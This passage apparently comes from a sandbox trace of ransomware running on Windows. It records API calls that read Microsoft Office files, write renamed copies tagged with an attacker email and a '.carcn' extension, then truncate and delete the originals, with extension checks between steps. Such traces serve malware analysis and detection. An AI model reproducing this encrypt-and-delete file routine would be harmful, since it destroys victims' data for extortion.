nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x8df0, lpOverlapped=0x0) returned 1 [0178.613] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x8e00, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x8e00, lpOverlapped=0x0) returned 1 [0178.614] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.614] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0178.614] SetEndOfFile (hFile=0x35c) returned 1 [0178.614] CloseHandle (hObject=0x35c) returned 1 [0178.616] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.616] SetEndOfFile (hFile=0x364) returned 1 [0178.616] CloseHandle (hObject=0x364) returned 1 [0178.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.617] lstrlenW (lpString=".doc") returned 4 [0178.617] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0178.617] lstrlenW (lpString=".docx") returned 5 [0178.617] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0178.617] lstrlenW (lpString=".pdf") returned 4 [0178.617] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0178.617] lstrlenW (lpString=".xls") returned 4 [0178.617] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0178.617] lstrlenW (lpString=".xlsx") returned 5 [0178.617] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0178.617] lstrlenW (lpString=".ppt") returned 4 [0178.617] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0178.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.617] lstrlenW (lpString=".zip") returned 4 [0178.617] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0178.617] lstrlenW (lpString=".rar") returned 4 [0178.617] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString=".bz2") returned 4 [0178.618] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString=".7z") returned 3 [0178.618] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.618] lstrlenW (lpString=".dbf") returned 4 [0178.618] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.618] lstrlenW (lpString=".1cd") returned 4 [0178.618] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.618] lstrlenW (lpString=".jpg") returned 4 [0178.618] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.618] lstrlenW (lpString=".doc") returned 4 [0178.618] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString=".docx") returned 5 [0178.618] lstrcmpiW (lpString1=".docx", lpString2="R.XML") returned -1 [0178.618] lstrlenW (lpString=".pdf") returned 4 [0178.618] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString=".xls") returned 4 [0178.618] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0178.618] lstrlenW (lpString=".xlsx") returned 5 [0178.618] lstrcmpiW (lpString1=".xlsx", lpString2="R.XML") returned -1 [0178.618] lstrlenW (lpString=".ppt") returned 4 [0178.619] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.619] lstrlenW (lpString=".zip") returned 4 [0178.619] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0178.619] lstrlenW (lpString=".rar") returned 4 [0178.619] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0178.619] lstrlenW (lpString=".bz2") returned 4 [0178.619] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0178.619] lstrlenW (lpString=".7z") returned 3 [0178.619] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.619] lstrlenW (lpString=".dbf") returned 4 [0178.619] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.619] lstrlenW (lpString=".1cd") returned 4 [0178.619] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0178.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML") returned 54 [0178.619] lstrlenW (lpString=".jpg") returned 4 [0178.619] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0178.619] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.619] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0178.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.620] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=387356) returned 1 [0178.620] CloseHandle (hObject=0x364) returned 1 [0178.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0178.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.621] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.621] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.621] GetLastError () returned 0x0 [0178.621] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0178.698] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x5e920, lpOverlapped=0x0) returned 1 [0178.705] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.705] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0178.705] SetEndOfFile (hFile=0x35c) returned 1 [0178.705] CloseHandle (hObject=0x35c) returned 1 [0178.713] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.713] SetEndOfFile (hFile=0x364) returned 1 [0178.717] CloseHandle (hObject=0x364) returned 1 [0178.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0178.717] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 1 [0178.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.717] lstrlenW (lpString=".doc") returned 4 [0178.717] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.717] lstrlenW (lpString=".docx") returned 5 [0178.717] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0178.718] lstrlenW (lpString=".pdf") returned 4 [0178.718] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString=".xls") returned 4 [0178.718] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString=".xlsx") returned 5 [0178.718] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0178.718] lstrlenW (lpString=".ppt") returned 4 [0178.718] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.718] lstrlenW (lpString=".zip") returned 4 [0178.718] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.718] lstrlenW (lpString=".rar") returned 4 [0178.718] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString=".bz2") returned 4 [0178.718] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString=".7z") returned 3 [0178.718] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.718] lstrlenW (lpString=".dbf") returned 4 [0178.718] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.718] lstrlenW (lpString=".1cd") returned 4 [0178.718] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.718] lstrlenW (lpString=".jpg") returned 4 [0178.718] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.719] lstrlenW (lpString=".doc") returned 4 [0178.719] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString=".docx") returned 5 [0178.719] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0178.719] lstrlenW (lpString=".pdf") returned 4 [0178.719] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString=".xls") returned 4 [0178.719] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString=".xlsx") returned 5 [0178.719] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0178.719] lstrlenW (lpString=".ppt") returned 4 [0178.719] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.719] lstrlenW (lpString=".zip") returned 4 [0178.719] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.719] lstrlenW (lpString=".rar") returned 4 [0178.719] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString=".bz2") returned 4 [0178.719] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString=".7z") returned 3 [0178.719] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.719] lstrlenW (lpString=".dbf") returned 4 [0178.719] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.719] lstrlenW (lpString=".1cd") returned 4 [0178.719] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 104 [0178.720] lstrlenW (lpString=".jpg") returned 4 [0178.720] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.720] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.720] lstrlenW (lpString="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 53 [0178.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.720] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0178.720] CloseHandle (hObject=0x364) returned 1 [0178.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0178.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.721] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.721] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.721] GetLastError () returned 0x0 [0178.721] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0178.811] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0178.812] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.812] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0178.812] SetEndOfFile (hFile=0x35c) returned 1 [0178.812] CloseHandle (hObject=0x35c) returned 1 [0178.812] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.813] SetEndOfFile (hFile=0x364) returned 1 [0178.813] CloseHandle (hObject=0x364) returned 1 [0178.813] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0178.814] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.814] lstrlenW (lpString=".doc") returned 4 [0178.814] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.814] lstrlenW (lpString=".docx") returned 5 [0178.814] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0178.814] lstrlenW (lpString=".pdf") returned 4 [0178.814] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.814] lstrlenW (lpString=".xls") returned 4 [0178.814] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.814] lstrlenW (lpString=".xlsx") returned 5 [0178.814] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0178.814] lstrlenW (lpString=".ppt") returned 4 [0178.814] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.814] lstrlenW (lpString=".zip") returned 4 [0178.814] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.814] lstrlenW (lpString=".rar") returned 4 [0178.815] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString=".bz2") returned 4 [0178.815] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString=".7z") returned 3 [0178.815] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.815] lstrlenW (lpString=".dbf") returned 4 [0178.815] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.815] lstrlenW (lpString=".1cd") returned 4 [0178.815] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.815] lstrlenW (lpString=".jpg") returned 4 [0178.815] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.815] lstrlenW (lpString=".doc") returned 4 [0178.815] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString=".docx") returned 5 [0178.815] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0178.815] lstrlenW (lpString=".pdf") returned 4 [0178.815] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString=".xls") returned 4 [0178.815] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString=".xlsx") returned 5 [0178.815] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0178.815] lstrlenW (lpString=".ppt") returned 4 [0178.815] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0178.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.815] lstrlenW (lpString=".zip") returned 4 [0178.815] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0178.816] lstrlenW (lpString=".rar") returned 4 [0178.816] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0178.816] lstrlenW (lpString=".bz2") returned 4 [0178.816] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0178.816] lstrlenW (lpString=".7z") returned 3 [0178.816] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0178.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.816] lstrlenW (lpString=".dbf") returned 4 [0178.816] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0178.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.816] lstrlenW (lpString=".1cd") returned 4 [0178.816] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0178.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned 104 [0178.816] lstrlenW (lpString=".jpg") returned 4 [0178.816] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0178.816] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0178.816] lstrlenW (lpString="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned 53 [0178.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.816] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=496513) returned 1 [0178.816] CloseHandle (hObject=0x364) returned 1 [0178.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0178.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.817] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.817] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 